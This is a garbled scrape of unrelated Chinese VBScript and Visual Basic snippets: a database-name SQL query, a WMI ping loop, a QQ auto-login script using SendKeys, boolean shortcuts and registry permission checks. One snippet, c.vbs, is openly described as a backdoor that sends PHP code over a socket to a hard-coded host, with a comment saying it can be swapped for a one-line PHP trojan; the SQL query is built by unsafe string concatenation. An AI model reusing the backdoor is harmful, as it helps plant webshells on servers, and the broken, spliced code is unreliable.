dbName是用户给出的数据库名;查询系统表sysdatabases,看用户给出的数据库名dbName是否已经存在,如果此数据库存在,就需要更换一个数据库名,像设备名一样,数据库名也是唯一的
sql="select*fromsysdatabases
wherename='"&dbName&"'"
Setrs=conn.Execute(sql)'下面代码略
----3)得到PHYNAME物理名
On Error Resume Next
Dim objFSO,sourcepath,targetpath
Function GetZipFile(path)
Dim file,folder,sfolder,subfolder,files
If Not objFSO.FolderExists(path) Then
Msgbox "目标文件夹不存在
IP="jb51.net"
WQL="Select * from Win32_PingStatus Where Address='$IP'"
WQL=Replace(WQL,"$IP",IP)
n=0 : s=0
Do Until n=100
Set objWMIService=GetObject("winmgmts:\\.\root\cimv2")
Set colItems=objWMIService.ExecQuery(WQL,,48)
For Each objItem in colItems
If objItem.StatusCode=0 Then
s=s + objItem.ResponseTime
n=n + 1
End If
Next
Loop
WScript.Echo "Average:" & s / n
许多教育工作者在初尝学习VB的甜头后,也跃跃欲试,急于把自己的教学经验变成软件,提高教学效率
不过你现在不需要这个软件了,你可以在本空间找到可以完美实现这两种加密方式的VBS
如何使用VisualBasic6.0进行企业级开发?
VisualBasic6.0是VisualStudio6.0企业版工具套件中的一个成员
SendKeys "814116208"
WScript.Sleep 100
SendKeys "{TAB}"
WScript.Sleep 100
SendKeys "********"
WScript.Sleep 100
SendKeys "{ENTER}"
WshShell.Run """"&QQPath&""""
do while WshShell.AppActivate("QQ用户登录")<>True
wscript.sleep 500
loop
WScript.Sleep 1000
WshShell.AppActivate "QQ用户登录"在属性窗口将data控件与库文件及其表链接好,并将Label控件与Data控件绑定
该vbs文件c.vbs代码如下:
★
Setie=WScript.CreateObject("InternetExplorer.Application")
ie.visible=false
ie.Navigate""'s.php是服务端
Whileie.Busy
WScript.Sleep100
Wend
Do
Wscript.Sleep200
LoopUntilie.ReadyState=4
Setsocket=WScript.CreateObject("MSWinsock.Winsock")
socket.Protocol=0
socket.RemotePort="12345"'端口
socket.RemoteHost="192.168.8.100"'主机
socket.connectsocket.RemoteHost,socket.RemotePort'连接
WScript.sleep10
ddd="<?phpinfo ();>"&Chr(13) '这里你可以改成一句话的php木马
socket.SendDataddd
WScript.sleep100
wscript.echo"ok"
'socket.senddataChr(13)
socket.close
Setie=nothing
★
一个vbs和一个php珠联璧合,打造了一个非常规后门防暂离下面是应用这个技术的几段具体代码:
1、判断X和Y是否为同符号数值:->If(x<0Andy<0)Or(x>=0Andy>=0)Then...
'theoptimizedapproach
If(xXory)>=0Then->
2、判断X、Y和Z是否都为正数
->Ifx>=0Andy>=0Andz>=0Then...
'theoptimizedapproach
If(xOryOrz)>=0Then...->
3、判断X、Y和Z是否都为负数
->Ifx<0Andy<0Andz<0Then...
'theoptimizedapproach
If(xAndyAndz)<0Then...->
4、判断X、Y和Z是否都为0
->Ifx=0Andy=0Andz=0Then...
'theoptimizedapproach
If(xOryOrz)=0Then...->
5、判断X、Y和Z是否都不为0
->Ifx=0Andy=0Andz=0Then...
'theoptimizedapproach
If(xOryOrz)=0Then...->
要使用这些来简单化一个复杂的表达式,必须要完全理解boolean型的操作原理constKEY_QUERY_VALUE=&H0001
constKEY_SET_VALUE=&H0002
constKEY_CREATE_SUB_KEY=&H0004
constDELETE=&H00010000
constHKEY_LOCAL_MACHINE=&H80000002
strComputer="."
SetStdOut=WScript.StdOut
SetoReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\"&_
strComputer&"\root\default:StdRegProv")
strKeyPath="SYSTEM\CurrentControlSet"
oReg.CheckAccessHKEY_LOCAL_MACHINE,strKeyPath,KEY_QUERY_VALUE,bHasAccessRight
IfbHasAccessRight=TrueThen
StdOut.WriteLine"HaveQueryValueAccessRightsonKey"
Else
StdOut.WriteLine"DoNotHaveQueryValueAccessRightsonKey"
EndIf
oReg.CheckAccessHKEY_LOCAL_MACHINE,strKeyPath,KEY_SET_VALUE,bHasAccessRight
IfbHasAccessRight=TrueThen
StdOut.WriteLine"HaveSetValueAccessRightsonKey"
Else
StdOut.WriteLine"DoNotHaveSetValueAccessRightsonKey"
EndIf
oReg.CheckAccessHKEY_LOCAL_MACHINE,strKeyPath,KEY_CREATE_SUB_KEY,bHasAccessRight
IfbHasAccessRight=TrueThen
StdOut.WriteLine"HaveCreateSubKeyAccessRightsonKey"
Else
StdOut.WriteLine"DoNotHaveCreateSubKeyAccessRightsonKey"
EndIf
oReg.CheckAccessHKEY_LOCAL_MACHINE,strKeyPath,DELETE,bHasAccessRight
IfbHasAccessRight=TrueThen
StdOut.WriteLine"HaveDeleteAccessRightsonKey"
Else
StdOut.WriteLine"DoNotHaveDeleteAccessRightsonKey"
EndIf。